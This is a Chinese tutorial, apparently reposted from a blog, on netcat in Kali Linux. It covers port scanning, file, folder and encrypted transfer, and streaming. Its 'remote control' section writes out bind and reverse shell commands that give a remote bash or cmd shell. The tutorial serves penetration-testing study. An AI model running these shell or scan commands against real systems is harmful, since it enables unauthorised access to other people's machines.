Kali渗透测试工具-netcat

netcat被称作是网络工具当中的瑞士军刀,短小却功能强大

1.端口扫描

nc -nvz 目标IP 端口范围

eg:

nc -nvz 192.168.1.105 1-65535

-n参数是不要使用DNS反向查询IP地址对应的域名,会影响速度

-v参数是输出详细信息

-z参数是不进行数据交换,仅仅知道端口开放就行

也可以加上-u参数,以udp探测

2.传输文本信息

A:
nc -lp 端口
B:
nc -nv A的IP 端口

eg:

A:
nc -lp 3333
B: nc -nv 192.168.1.105 3333

-l是监听

-p指定本地端口

3.传输文件

从A到B
A:
nc -lp 端口 < 文件 -q 1
B:
nc -nv A的IP 端口 > 文件

eg:

A:
nc -lp 3333 < 1.txt -q 1
B: nc -nv 192.168.1.105 3333 > 1.txt
从B到A
A:
nc -lp 端口 > 文件
B:
nc -nv A的IP 端口 < 文件 -q 1

eg:

A:
nc -lp 3333 > 1.txt
B: nc -nv 192.168.1.105 3333 < 1.txt -q 1

-q 1 代表传输完文件之后等待1秒钟关闭连接

4.传输文件夹

从A到B
A:
tar -cvf- 文件夹 | nc -lp 端口 -q 1
B:
nc -nv A的IP 端口 | tar -xvf-

eg:

A:
tar -cvf- py | nc -lp 3333 -q 1
B: nc -nv A的IP 端口 | tar -xvf-
从B到A
A:
nc -lp 端口 | tar -xvf-
B:
tar -cvf- 文件夹 | nc -nv A的IP 端口 -q 1

eg:

A:
nc -lp 3333 | tar -xvf-
B: tar -cvf- test | nc -nv 192.168.1.104 3333 -q 1

原理是发送端将文件夹压缩传输,接收端将文件夹还原接收

5.加密传输文件

要在kali里面安装mcrypt

apt-get install mcrypt
从A到B
A:
mcrypt --flush -Fbq -a rijndael-256 -m ecb < 文件 | nc -lp 端口 -q 1
B:
nc -nv A的IP 端口 | mcrypt --flush -Fbqd -a rijndael-256 -m ecb > 文件

eg:

A:
mcrypt --flush -Fbq -a rijndael-256 -m ecb < 1.txt | nc -lp 3333 -q 1
B:
nc -nv 192.168.1.104 3333 | mcrypt --flush -Fbqd -a rijndael-256 -m ecb > 1.txt
从B到A
A:
nc -lp 端口 | mcrypt --flush -Fbqd -a rijndael-256 -m ecb > 文件
B:
mcrypt --flush -Fbq -a rijndael-256 -m ecb < 文件 | nc -nv A的IP 端口
-q 1

eg:

A:
nc -lp 3333 | mcrypt --flush -Fbqd -a rijndael-256 -m ecb > 1.txt
B:
mcrypt --flush -Fbq -a rijndael-256 -m ecb < 1.txt | nc -nv 192.168.1.104 3333 -q 1

连接成功以后输入相同的秘钥就Ok了

6.流媒体

安装mplayer

apt-get install mplayer
A到B
A:
cat 视频 | nc -lp 端口
B:
nc -nv A的IP 端口 | mplayer -vo x11 -cache 1000 -

eg:

A:
cat 1.flv | nc -lp 3333
B: nc -nv 192.168.1.104 3333 | mplayer -vo x11 -cache 1000 -
B到A:
A:
nc -lp 端口 | mplayer -vo x11 -cache 缓存 -
B:
cat 视频 | nc -nv A的IP 端口

eg:

A:
nc -lp 3333 | mplayer -vo x11 -cache 1000 -
B: cat 1.flv | nc -nv 192.168.1.104 3333

-vo是选择输出模式

-cache是缓存大小

7.克隆设备

本人没用过这个功能…就不说了

8.远程控制

正向
A:
nc -lp 端口 -c bash
B:
nc -nv A的IP 端口

eg:

A:
nc -lp 3333 -c bash
B: nc -nv 192.168.1.104 3333
反向
A:
nc -lp 端口
B:
nc -nv A的IP 端口 -c bash

A:
nc -lp 3333
B:
nc -nv 192.168.1.104 3333 -c bash

-c是使用命令行,如果是Windows主机,需要把bash改成cmd

正向是A被控制,反向是B被控制

9.telnet

nc -nv 目标IP 端口

eg:

nc -nv 192.168.0.108 80

然后可以交互式输入,例如输入head敲回车,会返回网页的头

猜你喜欢

转载自www.cnblogs.com/zmqqq/p/10511672.html